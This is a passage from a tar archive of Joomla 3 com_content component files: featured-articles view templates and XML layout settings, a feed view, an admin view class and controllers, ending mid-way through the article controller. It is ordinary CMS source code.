				description="JGLOBAL_SHOW_PARENT_CATEGORY_DESC"
				useglobal="true"
				>
				<option	value="0">JHIDE</option>
				<option	value="1">JSHOW</option>
			</field>

			<field
				name="link_parent_category"
				type="list"
				label="JGLOBAL_LINK_PARENT_CATEGORY_LABEL"
				description="JGLOBAL_LINK_PARENT_CATEGORY_DESC"
				useglobal="true"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field 
				name="link_titles" 
				type="list"
				label="JGLOBAL_LINKED_TITLES_LABEL"
				description="JGLOBAL_LINKED_TITLES_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field 
				name="show_author" 
				type="list"
				label="JGLOBAL_SHOW_AUTHOR_LABEL"
				description="JGLOBAL_SHOW_AUTHOR_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="link_author"
				type="list"
				label="JGLOBAL_LINK_AUTHOR_LABEL"
				description="JGLOBAL_LINK_AUTHOR_DESC"
				useglobal="true"
				>
				<option	value="0">JNO</option>
				<option	value="1">JYES</option>
			</field>

			<field 
				name="show_create_date" 
				type="list"
				label="JGLOBAL_SHOW_CREATE_DATE_LABEL"
				description="JGLOBAL_SHOW_CREATE_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_modify_date" 
				type="list"
				label="JGLOBAL_SHOW_MODIFY_DATE_LABEL"
				description="JGLOBAL_SHOW_MODIFY_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_publish_date" 
				type="list"
				label="JGLOBAL_SHOW_PUBLISH_DATE_LABEL"
				description="JGLOBAL_SHOW_PUBLISH_DATE_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_item_navigation" 
				type="list"
				label="JGLOBAL_SHOW_NAVIGATION_LABEL"
				description="JGLOBAL_SHOW_NAVIGATION_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field 
				name="show_hits" 
				type="list"
				label="JGLOBAL_SHOW_HITS_LABEL"
				description="JGLOBAL_SHOW_HITS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>

	</fields>
</metadata>
com_content/views/featured/tmpl/default.xml000060400000000322152453734450015137 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_content/views/featured/tmpl/default.php000060400000032275152453734450015142 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', '.multipleAccessLevels', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_ACCESS')));
JHtml::_('formbehavior.chosen', '.multipleAuthors', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_AUTHOR')));
JHtml::_('formbehavior.chosen', '.multipleCategories', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_CATEGORY')));
JHtml::_('formbehavior.chosen', '.multipleTags', null, array('placeholder_text_multiple' => JText::_('JOPTION_SELECT_TAG')));
JHtml::_('formbehavior.chosen', 'select');

$user      = JFactory::getUser();
$userId    = $user->get('id');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'fp.ordering';
$columns   = 10;

if (strpos($listOrder, 'publish_up') !== false)
{
	$orderingColumn = 'publish_up';
}
elseif (strpos($listOrder, 'publish_down') !== false)
{
	$orderingColumn = 'publish_down';
}
else
{
	$orderingColumn = 'created';
}

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_content&task=featured.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'articleList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>

<form action="<?php echo JRoute::_('index.php?option=com_content&view=featured'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<?php else : ?>
		<div id="j-main-container">
			<?php endif; ?>
			<?php
			// Search tools bar
			echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
			?>
			<?php if (empty($this->items)) : ?>
				<div class="alert alert-no-items">
					<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
				</div>
			<?php else : ?>
				<table class="table table-striped" id="articleList">
					<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'fp.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" style="min-width:55px" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JAUTHOR', 'a.created_by', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'language', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_CONTENT_HEADING_DATE_' . strtoupper($orderingColumn), 'a.' . $orderingColumn, $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_HITS', 'a.hits', $listDirn, $listOrder); ?>
						</th>
						<?php if ($this->vote) : ?>
							<?php $columns++; ?>
							<th width="1%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_VOTES', 'rating_count', $listDirn, $listOrder); ?>
							</th>
							<?php $columns++; ?>
							<th width="1%" class="nowrap hidden-phone">
								<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_RATINGS', 'rating', $listDirn, $listOrder); ?>
							</th>
						<?php endif; ?>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
					</thead>
					<tfoot>
					<tr>
						<td colspan="<?php echo $columns; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
					</tfoot>
					<tbody>
					<?php $count = count($this->items); ?>
					<?php foreach ($this->items as $i => $item) :
						$item->max_ordering = 0;
						$ordering         = ($listOrder == 'fp.ordering');
						$assetId          = 'com_content.article.' . $item->id;
						$canCreate        = $user->authorise('core.create', 'com_content.category.' . $item->catid);
						$canEdit          = $user->authorise('core.edit', 'com_content.article.' . $item->id);
						$canCheckin       = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
						$canChange        = $user->authorise('core.edit.state', 'com_content.article.' . $item->id) && $canCheckin;
						$canEditCat       = $user->authorise('core.edit',       'com_content.category.' . $item->catid);
						$canEditOwnCat    = $user->authorise('core.edit.own',   'com_content.category.' . $item->catid) && $item->category_uid == $userId;
						$canEditParCat    = $user->authorise('core.edit',       'com_content.category.' . $item->parent_category_id);
						$canEditOwnParCat = $user->authorise('core.edit.own',   'com_content.category.' . $item->parent_category_id) && $item->parent_category_uid == $userId;
						?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="order nowrap center hidden-phone">
								<?php
								$iconClass = '';

								if (!$canChange)
								{
									$iconClass = ' inactive';
								}
								elseif (!$saveOrder)
								{
									$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
								}
								?>
								<span class="sortable-handler<?php echo $iconClass ?>">
								<span class="icon-menu" aria-hidden="true"></span>
							</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->state, $i, 'articles.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
									<?php echo JHtml::_('contentadministrator.featured', $item->featured, $i, $canChange); ?>
									<?php // Create dropdown items and render the dropdown list.
									if ($canChange)
									{
										JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'articles');
										JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'articles');
										echo JHtml::_('actionsdropdown.render', $this->escape($item->title));
									}
									?>
								</div>
							</td>
							<td class="has-context">
								<div class="pull-left break-word">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'articles.', $canCheckin); ?>
									<?php endif; ?>
									<?php if ($canEdit) : ?>
										<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_content&task=article.edit&return=featured&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
											<?php echo $this->escape($item->title); ?></a>
									<?php else : ?>
										<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
									<?php endif; ?>
									<span class="small break-word">
									<?php if (empty($item->note)) : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									<?php else : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
									<?php endif; ?>
									</span>
									<div class="small">
										<?php
										$ParentCatUrl = JRoute::_('index.php?option=com_categories&task=category.edit&id=' . $item->parent_category_id . '&extension=com_content');
										$CurrentCatUrl = JRoute::_('index.php?option=com_categories&task=category.edit&id=' . $item->catid . '&extension=com_content');
										$EditCatTxt = JText::_('COM_CONTENT_EDIT_CATEGORY');

										echo JText::_('JCATEGORY') . ': ';

										if ($item->category_level != '1') :
											if ($item->parent_category_level != '1') :
												echo ' &#187; ';
											endif;
										endif;

										if (JFactory::getLanguage()->isRtl())
										{
											if ($canEditCat || $canEditOwnCat) :
												echo '<a class="hasTooltip" href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
											endif;
											echo $this->escape($item->category_title);
											if ($canEditCat || $canEditOwnCat) :
												echo '</a>';
											endif;

											if ($item->category_level != '1') :
												echo ' &#171; ';
												if ($canEditParCat || $canEditOwnParCat) :
													echo '<a class="hasTooltip" href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
												endif;
												echo $this->escape($item->parent_category_title);
												if ($canEditParCat || $canEditOwnParCat) :
													echo '</a>';
												endif;
											endif;
										}
										else
										{
											if ($item->category_level != '1') :
												if ($canEditParCat || $canEditOwnParCat) :
													echo '<a class="hasTooltip" href="' . $ParentCatUrl . '" title="' . $EditCatTxt . '">';
												endif;
												echo $this->escape($item->parent_category_title);
												if ($canEditParCat || $canEditOwnParCat) :
													echo '</a>';
												endif;
												echo ' &#187; ';
											endif;
											if ($canEditCat || $canEditOwnCat) :
												echo '<a class="hasTooltip" href="' . $CurrentCatUrl . '" title="' . $EditCatTxt . '">';
											endif;
											echo $this->escape($item->category_title);
											if ($canEditCat || $canEditOwnCat) :
												echo '</a>';
											endif;
										}
										?>
									</div>
								</div>
							</td>
							<td class="small hidden-phone">
								<?php echo $this->escape($item->access_level); ?>
							</td>
							<td class="small hidden-phone">
								<?php if ((int) $item->created_by != 0) : ?>
									<?php if ($item->created_by_alias) : ?>
										<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->created_by); ?>" title="<?php echo JText::_('JAUTHOR'); ?>">
										<?php echo $this->escape($item->author_name); ?></a>
										<div class="smallsub"><?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?></div>
									<?php else : ?>
										<a class="hasTooltip" href="<?php echo JRoute::_('index.php?option=com_users&task=user.edit&id=' . (int) $item->created_by); ?>" title="<?php echo JText::_('JAUTHOR'); ?>">
										<?php echo $this->escape($item->author_name); ?></a>
									<?php endif; ?>
								<?php else : ?>
									<?php if ($item->created_by_alias) : ?>
										<?php echo JText::_('JNONE'); ?>
										<div class="smallsub"><?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->created_by_alias)); ?></div>
									<?php else : ?>
										<?php echo JText::_('JNONE'); ?>
									<?php endif; ?>
								<?php endif; ?>
							</td>
							<td class="small hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="nowrap small hidden-phone">
								<?php
								$date = $item->{$orderingColumn};
								echo $date > 0 ? JHtml::_('date', $date, JText::_('DATE_FORMAT_LC4')) : '-';
								?>
							</td>
							<td class="center hidden-phone">
								<span class="badge badge-info">
								<?php echo (int) $item->hits; ?>
								</span>
							</td>
							<?php if ($this->vote) : ?>
								<td class="hidden-phone">
									<span class="badge badge-success" >
									<?php echo (int) $item->rating_count; ?>
									</span>
								</td>
								<td class="hidden-phone">
									<span class="badge badge-warning" >
									<?php echo (int) $item->rating; ?>
									</span>
								</td>
							<?php endif; ?>
							<td class="center hidden-phone">
								<?php echo (int) $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
					</tbody>
				</table>
			<?php endif; ?>

			<input type="hidden" name="task" value="" />
			<input type="hidden" name="featured" value="1" />
			<input type="hidden" name="boxchecked" value="0" />
			<?php echo JHtml::_('form.token'); ?>
		</div>
</form>
com_content/views/featured/tmpl/default_item.php000060400000011460152453734450016151 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Create a shortcut for params.
$params  = &$this->item->params;
$canEdit = $this->item->params->get('access-edit');
$info    = $this->item->params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (JLanguageAssociations::isEnabled() && $params->get('show_associations'));

$currentDate       = JFactory::getDate()->format('Y-m-d H:i:s');
$isExpired         = $this->item->publish_down < $currentDate && $this->item->publish_down !== JFactory::getDbo()->getNullDate();
$isNotPublishedYet = $this->item->publish_up > $currentDate;
$isUnpublished     = $this->item->state == 0 || $isNotPublishedYet || $isExpired;

?>
<?php if ($isUnpublished) : ?>
	<div class="system-unpublished">
<?php endif; ?>

<?php if ($params->get('show_title')) : ?>
	<h2 class="item-title" itemprop="headline">
	<?php if ($params->get('link_titles') && $params->get('access-view')) : ?>
		<a href="<?php echo JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); ?>" itemprop="url">
			<?php echo $this->escape($this->item->title); ?>
		</a>
	<?php else : ?>
		<?php echo $this->escape($this->item->title); ?>
	<?php endif; ?>
	</h2>
<?php endif; ?>

<?php if ($this->item->state == 0) : ?>
	<span class="label label-warning"><?php echo JText::_('JUNPUBLISHED'); ?></span>
<?php endif; ?>
<?php if ($isNotPublishedYet) : ?>
	<span class="label label-warning"><?php echo JText::_('JNOTPUBLISHEDYET'); ?></span>
<?php endif; ?>
<?php if ($isExpired) : ?>
	<span class="label label-warning"><?php echo JText::_('JEXPIRED'); ?></span>
<?php endif; ?>

<?php if ($canEdit || $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
	<?php echo JLayoutHelper::render('joomla.content.icons', array('params' => $params, 'item' => $this->item, 'print' => false)); ?>
<?php endif; ?>

<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
<?php echo $this->item->event->afterDisplayTitle; ?>

<?php // Todo Not that elegant would be nice to group the params ?>
<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
	|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
	<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
	<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
<?php endif; ?>
<?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
	<?php echo JLayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
<?php endif; ?>

<?php echo JLayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
<?php echo $this->item->event->beforeDisplayContent; ?>

<?php echo $this->item->introtext; ?>

<?php if ($info == 1 || $info == 2) : ?>
	<?php if ($useDefList) : ?>
		<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
		<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'below')); ?>
	<?php endif; ?>
	<?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<?php echo JLayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
	<?php endif; ?>
<?php endif; ?>

<?php if ($params->get('show_readmore') && $this->item->readmore) :
	if ($params->get('access-view')) :
		$link = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
	else :
		$menu = JFactory::getApplication()->getMenu();
		$active = $menu->getActive();
		$itemId = $active->id;
		$link = new JUri(JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
		$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
	endif; ?>

	<?php echo JLayoutHelper::render('joomla.content.readmore', array('item' => $this->item, 'params' => $params, 'link' => $link)); ?>

<?php endif; ?>

<?php if ($isUnpublished) : ?>
	</div>
<?php endif; ?>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
com_content/views/featured/tmpl/default_links.php000060400000001033152453734450016326 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ol class="nav nav-tabs nav-stacked">
<?php foreach ($this->link_items as &$item) : ?>
	<li>
		<a href="<?php echo JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language)); ?>">
			<?php echo $item->title; ?></a>
	</li>
<?php endforeach; ?>
</ol>
com_content/views/featured/view.feed.php000060400000006620152453734450014411 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Frontpage View class
 *
 * @since  1.5
 */
class ContentViewFeatured extends JViewLegacy
{
	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		// Parameters
		$app       = JFactory::getApplication();
		$doc       = JFactory::getDocument();
		$params    = $app->getParams();
		$feedEmail = $app->get('feed_email', 'none');
		$siteEmail = $app->get('mailfrom');
		$doc->link = JRoute::_('index.php?option=com_content&view=featured');

		// Get some data from the model
		$app->input->set('limit', $app->get('feed_limit'));
		$categories = JCategories::getInstance('Content');
		$rows       = $this->get('Items');

		foreach ($rows as $row)
		{
			// Strip html from feed item title
			$title = $this->escape($row->title);
			$title = html_entity_decode($title, ENT_COMPAT, 'UTF-8');

			// Compute the article slug
			$row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id;

			// URL link to article
			$link = ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language);

			$description = '';
			$obj = json_decode($row->images);
			$introImage = isset($obj->{'image_intro'}) ? $obj->{'image_intro'} : '';

			if (isset($introImage) && ($introImage != ''))
			{
				$image = preg_match('/http/', $introImage) ? $introImage : JURI::root() . $introImage;
				$description = '<p><img src="' . $image . '" /></p>';
			}

			$description .= ($params->get('feed_summary', 0) ? $row->introtext . $row->fulltext : $row->introtext);
			$author      = $row->created_by_alias ?: $row->author;

			// Load individual item creator class
			$item           = new JFeedItem;
			$item->title    = $title;
			$item->link     = \JRoute::_($link);
			$item->date     = $row->publish_up;
			$item->category = array();

			// All featured articles are categorized as "Featured"
			$item->category[] = JText::_('JFEATURED');

			for ($item_category = $categories->get($row->catid); $item_category !== null; $item_category = $item_category->getParent())
			{
				// Only add non-root categories
				if ($item_category->id > 1)
				{
					$item->category[] = $item_category->title;
				}
			}

			$item->author = $author;

			if ($feedEmail === 'site')
			{
				$item->authorEmail = $siteEmail;
			}
			elseif ($feedEmail === 'author')
			{
				$item->authorEmail = $row->author_email;
			}

			// Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists
			if (!$params->get('feed_summary', 0) && $params->get('feed_show_readmore', 0) && $row->fulltext)
			{
				$link = \JRoute::_($link, true, $app->get('force_ssl') == 2 ? \JRoute::TLS_FORCE : \JRoute::TLS_IGNORE, true);
				$description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '">' . JText::_('COM_CONTENT_FEED_READMORE') . '</a></p>';
			}

			// Load item description and add div
			$item->description = '<div class="feed-description">' . $description . '</div>';

			// Loads item info into rss array
			$doc->addItem($item);
		}
	}
}
com_content/views/featured/view.html.php000060400000011031152453734450014442 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of featured articles.
 *
 * @since  1.6
 */
class ContentViewFeatured extends JViewLegacy
{
	/**
	 * The item authors
	 *
	 * @var  stdClass
	 *
	 * @deprecated  4.0  To be removed with Hathor
	 */
	protected $authors;

	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Form object for search filters
	 *
	 * @var  JForm
	 */
	public $filterForm;

	/**
	 * The active search filters
	 *
	 * @var  array
	 */
	public $activeFilters;

	/**
	 * The sidebar markup
	 *
	 * @var  string
	 */
	protected $sidebar;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		ContentHelper::addSubmenu('featured');

		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->authors       = $this->get('Authors');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');
		$this->vote          = JPluginHelper::isEnabled('content', 'vote');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Levels filter - Used in Hathor.
		// @deprecated  4.0 To be removed with Hathor
		$this->f_levels = array(
			JHtml::_('select.option', '1', JText::_('J1')),
			JHtml::_('select.option', '2', JText::_('J2')),
			JHtml::_('select.option', '3', JText::_('J3')),
			JHtml::_('select.option', '4', JText::_('J4')),
			JHtml::_('select.option', '5', JText::_('J5')),
			JHtml::_('select.option', '6', JText::_('J6')),
			JHtml::_('select.option', '7', JText::_('J7')),
			JHtml::_('select.option', '8', JText::_('J8')),
			JHtml::_('select.option', '9', JText::_('J9')),
			JHtml::_('select.option', '10', JText::_('J10')),
		);

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_content', 'category', $this->state->get('filter.category_id'));

		JToolbarHelper::title(JText::_('COM_CONTENT_FEATURED_TITLE'), 'star featured');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('article.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('article.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('articles.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('articles.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::custom('articles.unfeatured', 'unfeatured.png', 'featured_f2.png', 'JUNFEATURE', true);
			JToolbarHelper::archiveList('articles.archive');
			JToolbarHelper::checkin('articles.checkin');
		}

		if ($state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'articles.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('articles.trash');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_content');
		}

		JToolbarHelper::help('JHELP_CONTENT_FEATURED_ARTICLES');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'fp.ordering'    => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'        => JText::_('JSTATUS'),
			'a.title'        => JText::_('JGLOBAL_TITLE'),
			'category_title' => JText::_('JCATEGORY'),
			'access_level'   => JText::_('JGRID_HEADING_ACCESS'),
			'a.created_by'   => JText::_('JAUTHOR'),
			'language'       => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.created'      => JText::_('JDATE'),
			'a.id'           => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_content/controller.php000060400000002755152453734450011771 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Component Controller
 *
 * @since  1.5
 */
class ContentController extends JControllerLegacy
{
	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $default_view = 'articles';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  ContentController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = array())
	{
		$view   = $this->input->get('view', 'articles');
		$layout = $this->input->get('layout', 'articles');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'article' && $layout == 'edit' && !$this->checkEditId('com_content.edit.article', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_content&view=articles', false));

			return false;
		}

		return parent::display();
	}
}
com_content/controllers/article.php000060400000006357152453734450013601 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * The article controller
 *
 * @since  1.6
 */
class ContentControllerArticle extends JControllerForm
{
	/**
	 * Class constructor.
	 *
	 * @param   array  $config  A named array of configuration variables.
	 *
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);

		// An article edit form can come from the articles or featured view.
		// Adjust the redirect view on the value of 'return' in the request.
		if ($this->input->get('return') == 'featured')
		{
			$this->view_list = 'featured';
			$this->view_item = 'article&return=featured';
		}
	}

	/**
	 * Method override to check if you can add a new record.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   1.6
	 */
	protected function allowAdd($data = array())
	{
		$categoryId = ArrayHelper::getValue($data, 'catid', $this->input->getInt('filter_category_id'), 'int');
		$allow = null;

		if ($categoryId)
		{
			// If the category has been passed in the data or URL check it.
